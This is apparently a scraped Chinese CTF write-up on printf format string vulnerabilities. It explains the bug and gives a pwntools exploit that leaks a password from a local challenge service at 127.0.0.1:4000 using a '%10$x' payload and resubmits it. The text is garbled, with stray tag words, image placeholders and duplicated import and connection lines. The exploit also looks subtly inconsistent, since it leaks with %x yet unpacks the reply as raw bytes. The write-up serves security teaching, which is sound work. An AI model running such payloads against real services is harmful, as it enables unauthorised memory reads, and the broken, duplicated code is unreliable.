1. 程式人生 > >pwn-格式化字符串漏洞

pwn-格式化字符串漏洞

pri password () 使用 字符 技術分享 輸入 ont 格式

原理:因為沒有正確使用printf()函數

正確使用 : printf(‘%s‘,str)

不正規使用:printf(str)

控制字符串str可以爆出stack內內容從而實現任意地址讀

---------------------------入門題01--------------------------------------

技術分享圖片

18行存在格式化字符串漏洞

只需輸入在hello之後輸入password所在地址,接收password值再傳入進行比較即可

exp:

from pwn import *

r = remote("127.0.0.1",4000)

from pwn import *

r = remote("127.0.0.1",4000)

pass_addr = 0x804A048
r.recvuntil(‘?‘)
r.sendline(p32(pass_addr)+‘#‘ +‘%10$x‘+‘#‘ )
r.recvuntil(‘#‘)

key = str(u32(r.recvuntil(‘#‘)[:4]))

r.recvuntil(‘:‘)
r.sendline(key)

r.interactive()

技術分享圖片

pwn-格式化字符串漏洞